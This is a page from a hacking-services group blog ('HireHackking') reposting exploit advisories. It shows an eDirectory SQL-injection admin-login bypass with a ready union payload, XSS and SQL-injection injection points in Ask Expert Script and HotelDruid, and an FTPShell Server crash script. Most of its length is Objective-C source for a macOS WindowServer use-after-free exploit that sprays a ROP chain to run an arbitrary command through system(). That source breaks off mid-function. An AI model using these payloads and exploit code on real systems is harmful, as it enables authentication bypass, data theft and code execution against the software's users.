Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863589855

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Admin auth bypass, SQLi and File Disclosure
# Google Dork: no defacers please !
# Date: March 2019 (reported to vendor without response :D)
# Exploit Author: Efren Diaz
# Author contact: https://twitter.com/elefr3n
# Vendor Homepage: https://www.edirectory.com/
# Software Link: not available
# Version: All versions
# Tested on: Ubuntu 14.04
# CVE : none

#DESCRIPTION
eDirectory is a software to create your own membership website, business directories, yellow pages, coupon sites, local guide, lead gen sites and more.


# SQL Injection
Links:
  - https://site.com/location.php?type=byId&id=[INT]&childLevel=[INT]&level=[SQLi]
  - https://site.com/sitemgr/login.php?key=[SQLi]

# Administrator Login Bypass
The login SQL injection can be useful for us to make a union SQL injection to avoid the administrator authentication and get access to the dashboard correctly. Sometimes you get a "Invalid key error", but the web application set to you correctly the cookie, if you got that error press F5 and you will be authenticated as an administrator
Link: https://site.com/sitemgr/login.php?key=' union select 0,1,0,'sitemgr' -- -

# File Disclosure (authenticated)
Note: only files with .php extension, but don't forget try null-byte in old php versions
Links:
  - https://site.com/sitemgr/langcenter/language_file.php?language_area=front&domain_id=1&language_id=[PATH]
  - https://site.com/sitemgr/configuration/geography/language/language_file.php?language_area=front&domain_id=1&language_id=[PATH]
HireHackking 
# Exploit Title: Ask Expert Script 3.0.5 - Cross Site Scripting / SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 19, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/ask-expert-script/
# Tested Version: 3.0.5
# Tested on: Kali linux, Windows 8.1 


# PoC:

# Cross Site Scripting:

# http://localhost/[PATH]/categorysearch.php?cateid=[XSS]
# http://localhost/[PATH]/categorysearch.php?cateid=<scRiPt>alert(1)</ScrIpT>

# SQL Injection:

# http://localhost/[PATH]/list-details.php?view=[SQL]
HireHackking 
#Exploit Title: FTPShell Server 6.83 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-20
#Vendor Homepage: http://www.ftpshell.com/index.htm
#Software Link: http://www.ftpshell.com/downloadserver.htm
#Tested Version: 6.83
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: FTPShell_Server_6.83.py
#2.- Open ftpshell.txt and copy content to clipboard
#3.- Open FTPShell Server
#4.- Select "Manage FTP Accounts"
#5.- Select "Add Account Name" > in "Account name to ban" Paste Clipboard
#6.- Click on "Ok"
#7.- Crashed

cod = "\x41" * 417	

f = open('ftpshell.txt', 'w')
f.write(cod)
f.close()
HireHackking 
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'nsextt' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : nsextt
# Attack Pattern : x%22+onmouseover%3dalert(0x000981)+x%3d%22
# GET Request : http://localhost/hoteldruid/visualizza_tabelle.php?nsextt=x"
onmouseover=alert(0x000981) x="
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'cambia1' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : cambia1
# Attack Pattern : " onmouseover="alert(8562604)
# POST Request :
http://localhost/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671"
onmouseover="alert(8562604)
# https://i.hizliresim.com/6avvoE.jpg
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'mese_fine' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : mese_fine
# Attack Pattern : " onmouseover="alert(6520859)
# POST Request :
http://localhost/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=periodi&mese_fine=13"
onmouseover="alert(6520859)
# https://i.hizliresim.com/v6NAzD.jpg
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'origine' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : origine
# Attack Pattern : " onmouseover="alert(8987004))
# POST Request :
http://localhost/hoteldruid/personalizza.php?anno=2019&id_sessione=&aggiorna_qualcosa=SI&cambianumerotariffe=1&nuovo_numero_tariffe=8&origine=./creaprezzi.php"
onmouseover="alert(8987004)
# https://i.hizliresim.com/v6NAmO.jpg
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'anno' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : anno
# Attack Pattern : " onmouseover="alert(1548690)
# POST Request :
http://localhost/hoteldruid/tabella3.php?id_sessione=&mese=01&tutti_mesi=1&anno=2019"
onmouseover="alert(1548690)
# https://i.hizliresim.com/EmAW68.jpg
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'origine' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : origine
# Attack Pattern : " onmouseover="alert(6332576)
# POST Request :
http://localhost/hoteldruid/creaprezzi.php?anno=2019&id_sessione=&ins_rapido_costo=SI&tipocostoagg=perm_min&origine=crearegole.php"
onmouseover="alert(6332576)
# https://i.hizliresim.com/EmAW68.jpg
===========================================================================================
HireHackking 
#import <Cocoa/Cocoa.h>
#import <dlfcn.h>
#import <mach-o/dyld.h>
#import <mach-o/getsect.h>
#import <mach/mach_vm.h>
#import <pthread.h>

#import "offsets.h"

//utils
#define ENFORCE(a, label) \
    do { \
        if (__builtin_expect(!(a), 0)) \
        { \
            timed_log("[!] %s is false (l.%d)\n", #a, __LINE__); \
            goto label; \
        } \
    } while (0)

// from https://stackoverflow.com/questions/4415524/common-array-length-macro-for-c
#define COUNT_OF(x) ((sizeof(x)/sizeof(0[x])) / ((size_t)(!(sizeof(x) % sizeof(0[x])))))

#define BYTE(buff, offset) (*(uint8_t *)&((uint8_t *)buff)[offset])
#define DWORD(buff, offset) (*(uint32_t *)&((uint8_t *)buff)[offset])
#define QWORD(buff, offset) (*(uint64_t *)&((uint8_t *)buff)[offset])

// constants used by the exploit
#define CFSTRING_SPRAY_SIZE (400*1000*1000)
#define CFSTRING_SPRAY_COUNT ((CFSTRING_SPRAY_SIZE)/(3*0x8+sizeof(str_array)))
#define CFSET_SPRAY_SIZE (300*1000*1000)
// pointers (80*8) + internal size (0x40)
#define CFSET_SPRAY_COUNT ((CFSET_SPRAY_SIZE)/(80*8+0x40))
#define VULN_IDX (-0xaaaaab)
// 4GB should be enough and it's the maximum we can spray in one OOL
#define ROP_SPRAY_SIZE (4*0x400ul*0x400ul*0x400ul - 0x1000)
#define SPRAYED_BUFFER_ADDRESS 0x200006000

#define NB_CORE_SWITCH 50
#define NB_HOLES_PER_SWITCH 1000
#define NB_REUSE 200

// private functions (both private and public symbols)
static int (* SLSNewConnection)(int, int *);
static int (* SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);
static mach_port_t (* CGSGetConnectionPortById)(uint32_t);
static int (* SLSReleaseConnection)(int);
static mach_port_t (* SLSServerPort)(void);


// push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
#define SAVE_RBP_SET_RAX_GADGET ((uint8_t[]){0x55, 0x48, 0x89, 0xe5, 0x48, 0x8b, 0x47, 0x08, 0x31, 0xf6, 0xba, 0x18, 0x01, 0x00, 0x00, 0xff, 0x10})

// mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RSI_GADGET ((uint8_t[]){0x48, 0x8b, 0x40, 0x08, 0x48, 0x8b, 0x30, 0xff, 0x16})

// mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RDI_GADGET ((uint8_t[]){0x48, 0x8b, 0x7e, 0x30, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x8b, 0x30, 0xff, 0x16})

// mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
#define POP_RBP_JMP_GADGET ((uint8_t[]){0x48, 0x8b, 0x46, 0x10, 0x48, 0x8b, 0x70, 0x20, 0x48, 0x8b, 0x46, 0xf8, 0x48, 0x8b, 0x00, 0x5d, 0xff, 0xe0})

static int resolve_symbols();
static int build_rop_spray(void **rop_spray, char *command_line);
static int massage_heap(int connection_id);
static int register_application(int connection_id);
static int setup_hooks(int connection_id);
static int trigger_the_bug(int connection_id);
static int reuse_allocation(int connection_id);
static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size);
static void timed_log(char* format, ...);

static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate);
static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number);
static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id);

int main(int argc, char **argv)
{
    int connection_id = -1;
    void *rop_spray = NULL;
    bool free_application = false;

    ENFORCE(argc == 2, fail);
    ENFORCE(strlen(argv[1]) < 0x1000 - 0x600, fail);
    
    timed_log("[+] Resolving symbols...\n");
    ENFORCE(resolve_symbols() == 0, fail);

    timed_log("[+] Building our ROP chain...\n");
    ENFORCE(build_rop_spray(&rop_spray, argv[1]) == 0, fail);

    timed_log("[+] Creating a fresh connection...\n");
    ENFORCE(SLSNewConnection(0, &connection_id) == 0, fail);

    timed_log("[+] Setup 'hooks'...\n");
    ENFORCE(setup_hooks(connection_id) == 0, fail);

    timed_log("[+] Making holes (des p'tits trous, des p'tits trous, toujours des p'tit trous : https://www.youtube.com/watch?v=HsX4M-by5OY)...\n");
    ENFORCE(massage_heap(connection_id) == 0, fail);

    // no timed_log, we want to be fast :)
    ENFORCE(register_application(connection_id) == 0, fail);
    free_application = true;
    timed_log("[+] Application registered...\n");

    timed_log("[+] Triggering the bug\n");
    ENFORCE(trigger_the_bug(connection_id) == 0, fail);

    timed_log("[+] Let's free and reuse the application...\n");
    // this will whack the application
    free_application = false;
    ENFORCE(reuse_allocation(connection_id) == 0, fail);

    timed_log("[+] Trigger the UAF...\n");
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", rop_spray, ROP_SPRAY_SIZE, true) == KERN_SUCCESS, fail);
    // the kernel freed the pages for us :)
    rop_spray = NULL;

    // a last synchronised request to make sure our command has been executed...
    ENFORCE(SLPSRegisterForKeyOnConnection(connection_id, &(ProcessSerialNumber){0, 0}, 8, 1) == -50, fail);

    // don't leave any connections behind us...
    ENFORCE(SLSReleaseConnection(connection_id) == 0, fail);
    connection_id = -1;
    timed_log("[+] OK\n");
    return 0;

// fail is the label of choice when coding Apple exploit :) (cf. CVE-2014-1266)
fail:
    if (free_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x12340000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    if (connection_id != -1)
        SLSReleaseConnection(connection_id);
    if (rop_spray != NULL)
        mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)rop_spray, ROP_SPRAY_SIZE);
    return 1;
}


static int resolve_symbols()
{
    SLSNewConnection = dlsym(RTLD_DEFAULT, "SLSNewConnection");
    ENFORCE(SLSNewConnection != NULL, fail);
    SLPSRegisterForKeyOnConnection = dlsym(RTLD_DEFAULT, "SLPSRegisterForKeyOnConnection");
    ENFORCE(SLPSRegisterForKeyOnConnection != NULL, fail);
    SLSReleaseConnection = dlsym(RTLD_DEFAULT, "SLSReleaseConnection");
    ENFORCE(SLSReleaseConnection != NULL, fail);
    SLSServerPort = dlsym(RTLD_DEFAULT, "SLSServerPort");
    ENFORCE(SLSServerPort != NULL, fail);

    // ugly but we could find its address by parsing private symbols, we just don't want to waste our time coding it...
    ENFORCE(((uintptr_t)SLPSRegisterForKeyOnConnection & 0xFFF) == (SLPSRegisterForKeyOnConnection_OFFSET & 0xFFF), fail);
    CGSGetConnectionPortById = (void *)((uint8_t*)SLPSRegisterForKeyOnConnection - SLPSRegisterForKeyOnConnection_OFFSET + CGSGetConnectionPortById_OFFSET);

    // paranoid checks, check if function starts with push rbp / mov rbp, rsp
    ENFORCE(memcmp(CGSGetConnectionPortById, "\x55\x48\x89\xe5", 4) == 0, fail);
    return 0;
fail:
    return -1;
}

// the trick is here to map multiple times the same page to make a HUGE alloc that doesn't use a lot of physical memory
static int build_rop_spray(void **rop_spray, char *command_line)
{
    void *handle_libswiftCore = NULL;
    void* large_region = NULL;

    *rop_spray = NULL;

    // first we reserve a large region
    ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&large_region, ROP_SPRAY_SIZE, VM_FLAGS_ANYWHERE) == KERN_SUCCESS, fail);

    // then we allocate the first page
    void *rop_chain = large_region;
    ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&rop_chain, 0x1000, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE) == KERN_SUCCESS, fail);

    // now we can construct our rop chain
    void *release_selector = NSSelectorFromString(@"release");
    ENFORCE(release_selector != NULL, fail);



    // + 0x530 because of our forged CFSet and its 1st hash table entry  (=0x200002537)
    BYTE(rop_chain, 0x530 + 0x20) = 0;  // flags
    DWORD(rop_chain, 0x530 + 0x18) = 0; // mask
    QWORD(rop_chain, 0x530 + 0x10) = SPRAYED_BUFFER_ADDRESS; // cache address
    QWORD(rop_chain, 0) = (uint64_t)release_selector; // selector


    // and now the """fun""" part...
    handle_libswiftCore = dlopen("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", RTLD_GLOBAL | RTLD_NOW);
    ENFORCE(handle_libswiftCore != NULL, fail);

    void *libJPEG_text_addr;
    size_t libJPEG_text_size;
    ENFORCE(find_dylib_text_section("/System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib", &libJPEG_text_addr, &libJPEG_text_size) == 0, fail);

    void *libswiftCore_text_addr;
    size_t libswiftCore_text_size;
    ENFORCE(find_dylib_text_section("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", &libswiftCore_text_addr, &libswiftCore_text_size) == 0, fail);
    uintptr_t system_address = (uintptr_t)dlsym(RTLD_DEFAULT, "system");
    ENFORCE(system_address != 0, fail);

    // check our gadgets
    uintptr_t save_rbp_set_rax = (uintptr_t)memmem(libJPEG_text_addr, libJPEG_text_size, SAVE_RBP_SET_RAX_GADGET, sizeof(SAVE_RBP_SET_RAX_GADGET));
    ENFORCE(save_rbp_set_rax != 0, fail);
    uintptr_t set_rsi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RSI_GADGET, sizeof(SET_RSI_GADGET));
    ENFORCE(set_rsi != 0, fail);
    uintptr_t set_rdi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RDI_GADGET, sizeof(SET_RDI_GADGET));
    ENFORCE(set_rdi != 0, fail);
    uintptr_t pop_rbp_jmp = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, POP_RBP_JMP_GADGET, sizeof(POP_RBP_JMP_GADGET));
    ENFORCE(pop_rbp_jmp != 0, fail);

    ENFORCE(dlclose(handle_libswiftCore) == 0, fail);
    handle_libswiftCore = NULL;
    
    timed_log("[i] Pivot address: 0x%lX\n", save_rbp_set_rax);

    QWORD(rop_chain, 8) = save_rbp_set_rax; // pivot


    // SAVE_RBP_SET_RAX: push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
    // + 0x137 because of our forged CFSet and its 2nd hash table entry 
    QWORD(rop_chain, 0x137) = set_rsi;
    // rax=0x200002137

    // SET_RSI: mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
    QWORD(rop_chain, 0x137+8) = SPRAYED_BUFFER_ADDRESS+0x240;
    // rax=SPRAYED_BUFFER_ADDRESS+0x240
    QWORD(rop_chain, 0x240) = SPRAYED_BUFFER_ADDRESS+0x248;
    // rsi=SPRAYED_BUFFER_ADDRESS+0x248
    QWORD(rop_chain, 0x248) = set_rdi;

    // SET_RDI: mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
    QWORD(rop_chain, 0x248+0x30) = SPRAYED_BUFFER_ADDRESS+0x600;
    // rdi=SPRAYED_BUFFER_ADDRESS+0x500
    QWORD(rop_chain, 0x248+0x38) = SPRAYED_BUFFER_ADDRESS+0x248+0x38+8;
    // rax=SPRAYED_BUFFER_ADDRESS+0x288
    QWORD(rop_chain, 0x288) = SPRAYED_BUFFER_ADDRESS+0x288+8;
    // rsi=SPRAYED_BUFFER_ADDRESS+0x290
    QWORD(rop_chain, 0x290) = pop_rbp_jmp;

    for (uint32_t i = 0; i < 4; i++)
    {
        // POP_RBP_JMP: mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
        QWORD(rop_chain, i*0x48+0x290+0x10) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x290+0x10+8;
        // rax=SPRAYED_BUFFER_ADDRESS+0x2A8
        QWORD(rop_chain, i*0x48+0x2A8+0x20) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
        // rsi=SPRAYED_BUFFER_ADDRESS+0x2D8
        QWORD(rop_chain, i*0x48+0x2D8-8) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
        // rax=SPRAYED_BUFFER_ADDRESS+0x2D8
        QWORD(rop_chain, i*0x48+0x2D8) = i == 3 ? system_address : pop_rbp_jmp;
        // rax=SPRAYED_BUFFER_ADDRESS+0x2D80x600
    }
    strcpy((char *)&BYTE(rop_chain, 0x600), command_line);

    QWORD(rop_chain, 0x1000-8) = 0xFFFFFFFF; // make sure that the server won't try to parse this...

    // and duplicate it, we use two for loops to gain some time
    for (uintptr_t i = 0x1000ul; i < 4*0x400*0x400; i += 0x1000ul)
    {
        mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
        vm_prot_t protection = VM_PROT_READ;
        kern_return_t kr;
        kr = mach_vm_remap(
            mach_task_self(), 
            &remapped_page_address, 
            0x1000, 
            0, 
            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 
            mach_task_self(), 
            (mach_vm_address_t)rop_chain,
            0,
            &protection, 
            &protection, 
            VM_INHERIT_NONE
        );
        ENFORCE(kr == KERN_SUCCESS, fail);
        ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
    }
    for (uintptr_t i = 4*0x400*0x400; i < ROP_SPRAY_SIZE; i += 4*0x400*0x400)
    {
        mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
        vm_prot_t protection = VM_PROT_READ;
        kern_return_t kr;
        kr = mach_vm_remap(
            mach_task_self(), 
            &remapped_page_address, 
            4*0x400*0x400, 
            0, 
            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 
            mach_task_self(), 
            (mach_vm_address_t)rop_chain,
            0,
            &protection, 
            &protection, 
            VM_INHERIT_NONE
        );
        ENFORCE(kr == KERN_SUCCESS, fail);
        ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
    }
    *rop_spray = large_region;
    return 0;
fail:
    if (handle_libswiftCore != NULL)
        dlclose(handle_libswiftCore);
    if (large_region != NULL)
        mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)large_region, ROP_SPRAY_SIZE);
    return -1;
}

size_t malloc_size(void *);
static int massage_heap(int connection_id)
{
    static UInt8 data_buffer[0x70];

    memset(data_buffer, 'A', 0x70);

    CFDataRef hole_data = NULL;
    CFNumberRef place_holder_number = NULL;
    CFDataRef serialized_hole_0x60_data = NULL;
    CFDataRef serialized_hole_0x70_data = NULL;
    CFDataRef serialized_number_place_holder = NULL;
    bool free_tmp_application = false;

    hole_data = CFDataCreate(NULL, data_buffer, 0x60 - 0x40 - 0x20);
    ENFORCE(hole_data != NULL, fail);
    serialized_hole_0x60_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_hole_0x60_data != NULL, fail);
    CFRelease(hole_data);
    hole_data = NULL;

    hole_data = CFDataCreate(NULL, data_buffer, 0x70 - 0x40 - 0x20);
    ENFORCE(hole_data != NULL, fail);
    serialized_hole_0x70_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_hole_0x70_data != NULL, fail);
    CFRelease(hole_data);
    hole_data = NULL;

    uint64_t v = 0x1337BAB;
    place_holder_number = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
    ENFORCE(place_holder_number != NULL, fail);
    serialized_number_place_holder = CFPropertyListCreateData(NULL, place_holder_number, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_number_place_holder != NULL, fail);
    CFRelease(place_holder_number);
    place_holder_number = NULL;
    // now free the data to make holes :)

    uint8_t *placeholder_data_bytes = (uint8_t *)CFDataGetBytePtr(serialized_number_place_holder);
    size_t placeholder_data_size = CFDataGetLength(serialized_number_place_holder);

    for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x6660000;

        // help changing core...
        ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
        free_tmp_application = true;

        for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
        {
            char key[20];
            snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);

            CFDataRef data = j%2 == 0 ? serialized_hole_0x70_data : serialized_hole_0x60_data;
            uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
            size_t data_size = CFDataGetLength(data);

            ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);

            snprintf(key, sizeof(key), "MSSH_%4d_%4d", i, j);
            ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, placeholder_data_bytes, placeholder_data_size, false) == KERN_SUCCESS, fail);
        }
        ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
        free_tmp_application = false;
    }
    CFRelease(serialized_number_place_holder);
    serialized_number_place_holder = NULL;
    CFRelease(serialized_hole_0x60_data);
    serialized_hole_0x60_data = NULL;
    CFRelease(serialized_hole_0x70_data);
    serialized_hole_0x70_data = NULL;

    for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
    {
        for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
        {
            char key[20];
            snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);

            ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, NULL, 0, false) == KERN_SUCCESS, fail);
        }
    }
    return 0;

fail:
    if (hole_data != NULL)
        CFRelease(hole_data);
    if (serialized_hole_0x60_data != NULL)
        CFRelease(serialized_hole_0x60_data);
    if (serialized_hole_0x70_data != NULL)
        CFRelease(serialized_hole_0x70_data);
    if (place_holder_number != NULL)
        CFRelease(place_holder_number);
    if (serialized_number_place_holder != NULL)
        CFRelease(serialized_number_place_holder);
    if (free_tmp_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x6660000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    return -1;
}

static int register_application(int connection_id)
{
    ProcessSerialNumber psn;
    bool free_application = false;
    char app_name[0x40];

    // app_name must be > 0x20 to not use the tiny holes reserved for CFSet and it must be big enough to fill the rest of the space left by the application
    memset(app_name, 'B', sizeof(app_name)-1);
    app_name[COUNT_OF(app_name)-1] = 0;

    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), app_name, true, connection_id) == KERN_SUCCESS, fail);
    free_application = true;

    // use a psn in the middle-end of our spray
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSSetAuxConn(connection_id, &psn) == 0, fail);
    return 0;

fail:
    if (free_application)
    {
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x12340000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    return -1;
}

static int setup_hooks(int connection_id)
{
    CFNumberRef set_array_values[35] = {NULL};
    CFMutableArrayRef big_array = NULL;
    CFDataRef data = NULL;

    timed_log("[+] Forging our set...\n");

    uint8_t set_hash_table[71] = {
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0
    };
    uint32_t set_size = 0;
    uint64_t v = 0x400000001;
    while (set_size < COUNT_OF(set_array_values))
    {
        CFNumberRef n;
        n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
        ENFORCE(n != NULL, fail);
        uint32_t h = CFHash(n)%71;
        if (set_hash_table[h] == 1)
        {
            set_array_values[set_size] = n;
            set_hash_table[h] = 0;
            set_size ++;
        }
        else
        {
            CFRelease(n);
        }
        v++;
        ENFORCE(v < 0x400000001 + 0xFFFFF, fail);
    }

    big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
    ENFORCE(big_array != NULL, fail);

    timed_log("[+] Creating our big set array...\n");

    for (uint32_t i = 0; i < CFSET_SPRAY_COUNT; i++)
    {
        CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
        ENFORCE(tmp_array != NULL, fail);
        CFArrayAppendValue(big_array, tmp_array);
        CFRelease(tmp_array);
    }

    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
    {
        CFRelease(set_array_values[i]);
        set_array_values[i] = NULL;
    }

    timed_log("[+] Serializing it...\n");

